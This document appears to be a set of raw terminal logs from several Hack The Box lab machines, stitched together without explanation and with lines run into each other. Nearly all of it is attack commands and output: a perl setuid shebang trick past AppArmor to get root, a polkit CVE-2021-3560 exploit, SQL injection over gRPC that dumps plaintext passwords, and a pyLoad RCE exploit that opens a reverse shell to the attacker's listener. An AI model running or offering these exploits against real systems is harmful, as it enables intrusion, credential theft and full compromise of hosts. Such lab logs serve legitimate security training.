/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep❯ searchbins -b perl -f capabilities
[+] Binary: perl
================================================================================
[*] Function: capabilities -> [https://gtfobins.github.io/gtfobins/perl/#capabilities]
| ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'david@nunchucks:/var/www/store.nunchucks$ which perl
/usr/bin/perl
david@nunchucks:/var/www/store.nunchucks$ cd /usr/bin/
david@nunchucks:/usr/bin$ ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:/usr/bin$ ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
david@nunchucks:/usr/bin$ ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
rootdavid@nunchucks:/etc/apparmor.d$ ls -l
total 56
drwxr-xr-x 4 root root 4096 Oct 28 2021 abstractions
drwxr-xr-x 2 root root 4096 Oct 28 2021 disable
drwxr-xr-x 2 root root 4096 Oct 28 2021 force-complain
drwxr-xr-x 2 root root 4096 Oct 28 2021 local
-rw-r--r-- 1 root root 1313 May 19 2020 lsb_release
-rw-r--r-- 1 root root 1108 May 19 2020 nvidia_modprobe
-rw-r--r-- 1 root root 3222 Mar 11 2020 sbin.dhclient
drwxr-xr-x 5 root root 4096 Oct 28 2021 tunables
-rw-r--r-- 1 root root 3202 Feb 25 2020 usr.bin.man
-rw-r--r-- 1 root root 442 Sep 26 2021 usr.bin.perl
-rw-r--r-- 1 root root 672 Feb 19 2020 usr.sbin.ippusbxd
-rw-r--r-- 1 root root 2006 Jul 22 2021 usr.sbin.mysqld
-rw-r--r-- 1 root root 1575 Feb 11 2020 usr.sbin.rsyslogd
-rw-r--r-- 1 root root 1385 Dec 7 2019 usr.sbin.tcpdumpdavid@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}david@nunchucks:/tmp$ cat gzzcoo.pl
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX;;setuid(0);
exec "/bin/bash";
david@nunchucks:/tmp$ chmod +x gzzcoo.pl
david@nunchucks:/tmp$ perl gzzcoo.pl
Can't open perl script "gzzcoo.pl": Permission denied
david@nunchucks:/tmp$ ./gzzcoo.pl
root@nunchucks:/tmp# whoami
root
root@nunchucks:/tmp# cat /root/root.txt
d67dd7dd335***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.143 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-17 19:33 CET
Initiating SYN Stealth Scan at 19:33
Scanning 10.10.11.143 [65535 ports]
Discovered open port 80/tcp on 10.10.11.143
Discovered open port 443/tcp on 10.10.11.143
Discovered open port 22/tcp on 10.10.11.143
Completed SYN Stealth Scan at 19:33, 19.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.143
Host is up, received user-set (0.15s latency).
Scanned at 2025-02-17 19:33:26 CET for 19s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.25 seconds
Raw packets sent: 66074 (2.907MB) | Rcvd: 66096 (2.645MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.143
[*] Open ports: 22,80,443
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,443 10.10.11.143 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-17 19:38 CET
Nmap scan report for office.paper (10.10.11.143)
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: WordPress 5.2.3
|_http-title: Blunder Tiffin Inc. – The best paper company in the elec...
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: HTTP Server Test Page powered by CentOS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 107.25 ms 10.10.16.1
2 40.77 ms office.paper (10.10.11.143)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.38 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.11.143/
http://10.10.11.143/ [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]❯ curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Mon, 17 Feb 2025 18:42:04 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8❯ cat /etc/hosts | grep office.paper
10.10.11.143 office.paper ❯ whatweb http://office.paper
http://office.paper [200 OK] Apache[2.4.37][mod_fcgid/2.3.9], Bootstrap[1,5.2.3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], JQuery, MetaGenerator[WordPress 5.2.3], OpenSSL[1.1.1k], PHP[7.2.24], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Blunder Tiffin Inc. – The best paper company in the electric-city Scranton!], UncommonHeaders[link,x-backend-server], WordPress[5.2.3], X-Backend[office.paper], X-Powered-By[PHP/7.2.24]❯ wfuzz --hh=199691 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.office.paper" http://office.paper 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://office.paper/
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000329: 200 507 L 13015 W 223163 Ch "chat" ❯ cat /etc/hosts | grep office.paper
10.10.11.143 office.paper chat.office.paper❯ searchsploit WordPress 5.2.3
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi | php/webapps/51042.txt
WordPress Core 5.2.3 - Cross-Site Host Modification | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ ssh dwight@office.paper
dwight@office.paper's password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ cat user.txt
7f6d8b3de4**********************[dwight@paper ~]$ id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)
[dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.
[dwight@paper ~]$ find / -perm -4000 2>/dev/null
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/fusermount3
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/userhelper
/usr/sbin/mount.nfs❯ ls -l linpeas.sh
.rw-r--r-- kali kali 806 KB Sun Feb 16 03:40:22 2025 linpeas.sh
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...[dwight@paper tmp]$ wget 10.10.16.3/linpeas.sh; chmod +x linpeas.sh
--2025-02-17 14:12:16-- http://10.10.16.3/linpeas.sh
Connecting to 10.10.16.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824942 (806K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[==================================================================================================================================>] 805.61K 795KB/s in 1.0s
2025-02-17 14:12:17 (795 KB/s) - 'linpeas.sh' saved [824942/824942][dwight@paper tmp]$ which sudo
/usr/bin/sudo
[dwight@paper tmp]$ /usr/bin/sudo --version
Sudo version 1.8.29
Sudoers policy plugin version 1.8.29
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.29❯ wget https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/refs/heads/main/poc.sh
--2025-02-19 08:26:56-- https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/refs/heads/main/poc.sh
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 9627 (9,4K) [text/plain]
Grabando a: «poc.sh»
poc.sh 100%[==================================================================================================================================>] 9,40K --.-KB/s en 0s
2025-02-19 08:26:56 (70,8 MB/s) - «poc.sh» guardado [9627/9627]
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[dwight@paper tmp]$ wget 10.10.16.3/poc.sh; chmod +x poc.sh
--2025-02-18 18:50:39-- http://10.10.16.3/poc.sh
Connecting to 10.10.16.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9627 (9.4K) [text/x-sh]
Saving to: 'poc.sh'
poc.sh 100%[==================================================================================================================================>] 9.40K --.-KB/s in 0.02s
2025-02-18 18:50:39 (463 KB/s) - 'poc.sh' saved [9627/9627][dwight@paper tmp]$ ./poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper tmp]$ su secnigma
Password:
[secnigma@paper tmp]$ sudo bash
[sudo] password for secnigma:
[root@paper tmp]# cat /root/root.txt
22ed53fa2**********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.214 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 11:18 CET
Initiating SYN Stealth Scan at 11:18
Scanning 10.10.11.214 [65535 ports]
Discovered open port 22/tcp on 10.10.11.214
SYN Stealth Scan Timing: About 23.48% done; ETC: 11:20 (0:01:41 remaining)
SYN Stealth Scan Timing: About 51.90% done; ETC: 11:20 (0:00:57 remaining)
Discovered open port 50051/tcp on 10.10.11.214
Completed SYN Stealth Scan at 11:20, 101.72s elapsed (65535 total ports)
Nmap scan report for 10.10.11.214
Host is up, received user-set (0.032s latency).
Scanned at 2025-02-20 11:18:33 CET for 102s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
50051/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 101.80 seconds
Raw packets sent: 131146 (5.770MB) | Rcvd: 129 (7.692KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.214
[*] Open ports: 22,50051
[*] Ports copied to clipboard❯ nmap -sCV -p22,50051 10.10.11.214 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 11:21 CET
Nmap scan report for 10.10.11.214
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open grpc
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), Linux 5.0 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 81.20 ms 10.10.16.1
2 81.35 ms 10.10.11.214
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ grpcurl 10.10.11.214:50051 list
Failed to dial target host "10.10.11.214:50051": tls: first record does not look like a TLS handshake❯ grpcurl -h 2>&1 | grep TLS -2
-plaintext
Use plain-text HTTP/2 when connecting to server (no TLS).❯ grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection❯ grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo❯ grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}❯ grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
string username = 1;
string password = 2;
}
❯ grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserResponse
LoginUserResponse is a message:
message LoginUserResponse {
string message = 1;
}
❯ grpcurl -plaintext 10.10.11.214:50051 describe .RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
string username = 1;
string password = 2;
}
❯ grpcurl -plaintext 10.10.11.214:50051 describe .RegisterUserResponse
RegisterUserResponse is a message:
message RegisterUserResponse {
string message = 1;
}
❯ grpcurl -plaintext 10.10.11.214:50051 describe .getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
string id = 1;
}
❯ grpcurl -plaintext 10.10.11.214:50051 describe .getInfoResponse
getInfoResponse is a message:
message getInfoResponse {
string message = 1;
}❯ grpcurl -format text -d 'username: "gzzcoo1",password: "Gzzcoo123"' -plaintext 10.10.11.214:50051 SimpleApp.RegisterUser
message: "Account created for user gzzcoo1!"❯ grpcurl -vv -format text -d 'username: "gzzcoo1",password: "Gzzcoo123"' -plaintext 10.10.11.214:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Estimated response size: 17 bytes
Response contents:
message: "Your id is 435."
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZ3p6Y29vMSIsImV4cCI6MTc0MDAzMTMyNX0.P0skEoAiBqW6BiH6E4m1nOutqPax4bGItF0mg0BPcjo'
Sent 1 request and received 1 response
Timing Data: 576.425221ms
Dial: 56.026738ms
BlockingDial: 56.00054ms
InvokeRPC: 358.309362ms❯ grpcurl -format text -d 'id: "435"' -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "Authorization Error.Missing 'token' header"❯ TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZ3p6Y29vMSIsImV4cCI6MTc0MDAzMTMyNX0.P0skEoAiBqW6BiH6E4m1nOutqPax4bGItF0mg0BPcjo
❯ grpcurl -format text -d 'id: "435"' -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "Will update soon."❯ grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:41843/❯ grpcurl -format text -d 'id: "435 OR 1=1"' -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."❯ grpcurl -format text -d 'id: "435 UNION SELECT 1;"' -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "1"
❯ grpcurl -format text -d 'id: "435 UNION SELECT sqlite_version();"' -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "3.31.1"❯ grpcurl -format text -d "id: \"435 UNION SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%';\"" -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "accounts,messages"❯ grpcurl -format text -d "id: \"435 UNION SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('accounts');\"" -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "username,password"❯ grpcurl -format text -d 'id: "435 UNION SELECT GROUP_CONCAT(username || \":\" || password) FROM accounts;"' -H "token: $TOKEN" -plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "admin:admin,sau:HereIsYourPassWord1431"❯ sshpass -p HereIsYourPassWord1431 ssh sau@10.10.11.214
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$ cat user.txt
bf851c74a***********************sau@pc:~$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::50051 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.
sau@pc:~$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
sau@pc:~$ curl 127.0.0.1:9666
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A9666%2F">/login?next=http%3A%2F%2F127.0.0.1%3A9666%2F</a>. If not, click the link.❯ sshpass -p HereIsYourPassWord1431 ssh -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214
Last login: Thu Feb 20 03:36:26 2025 from 10.10.16.3
sau@pc:~$ sau@pc:~$ ps aux | grep pyload
root 1045 0.0 1.6 1217800 65964 ? Ssl 02:20 0:03 /usr/bin/python3 /usr/local/bin/pyload
sau 1881 0.0 0.0 8160 2396 pts/0 S+ 03:39 0:00 grep --color=auto pyload
sau@pc:~$ /usr/local/bin/pyload --version
pyLoad 0.5.0❯ searchsploit pyLoad
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) | python/webapps/51532.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ git clone https://github.com/JacobEbben/CVE-2023-0297; cd CVE-2023-0297
Clonando en 'CVE-2023-0297'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 10 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (10/10), 4.13 KiB | 1.38 MiB/s, listo.
Resolviendo deltas: 100% (2/2), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 exploit.py -t http://localhost:8000 -I 10.10.16.3 -P 443
[SUCCESS] Running reverse shell. Check your listener!❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.214] 50060
bash: cannot set terminal process group (1045): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cat /root/root.txt
cat /root/root.txt
f12c72922d************************❯ HTTP_PROXY=http://127.0.0.1:8080 python3 exploit.py -t http://localhost:8000 -c 'whoami > /tmp/whoami'
[SUCCESS] Running your command: "whoami > /tmp/whoami"!❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.48 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 17:05 CET
Initiating SYN Stealth Scan at 17:05
Scanning 10.10.10.48 [65535 ports]
Discovered open port 53/tcp on 10.10.10.48
Discovered open port 22/tcp on 10.10.10.48
Discovered open port 80/tcp on 10.10.10.48
Discovered open port 32469/tcp on 10.10.10.48
Discovered open port 1298/tcp on 10.10.10.48
Discovered open port 32400/tcp on 10.10.10.48
Completed SYN Stealth Scan at 17:05, 24.15s elapsed (65535 total ports)
Nmap scan report for 10.10.10.48
Host is up, received user-set (0.16s latency).
Scanned at 2025-02-14 17:05:35 CET for 24s
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
1298/tcp open lpcp syn-ack ttl 63
32400/tcp open plex syn-ack ttl 63
32469/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds
Raw packets sent: 70906 (3.120MB) | Rcvd: 70899 (2.837MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.48
[*] Open ports: 22,53,80,1298,32400,32469
[*] Ports copied to clipboard❯ nmap -sCV -p22,53,80,1298,32400,32469 10.10.10.48 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 17:08 CET
Nmap scan report for 10.10.10.48
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1298/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Unauthorized
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
|_http-favicon: Plex
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 96.26 ms 10.10.16.1
2 44.54 ms 10.10.10.48
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.10 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.48
http://10.10.10.48 [404 Not Found] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.35], IP[10.10.10.48], UncommonHeaders[x-pi-hole], lighttpd[1.4.35]
❯ whatweb http://10.10.10.48:32400
http://10.10.10.48:32400 [401 Unauthorized] Country[RESERVED][ZZ], IP[10.10.10.48], Script, Title[Unauthorized], UncommonHeaders[x-plex-protocol,x-plex-content-original-length,x-plex-content-compressed-length]❯ dirsearch -u 'http://10.10.10.48/' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Mirai/Mirai/reports/http_10.10.10.48/__25-02-14_17-17-45.txt
Target: http://10.10.10.48/
[17:17:45] Starting:
[17:17:54] 200 - 14KB - /admin/
[17:17:54] 200 - 14KB - /admin/index.php
Task Completed❯ dirsearch -u 'http://10.10.10.48/admin' -t 50 -i 200 2>/dev/null
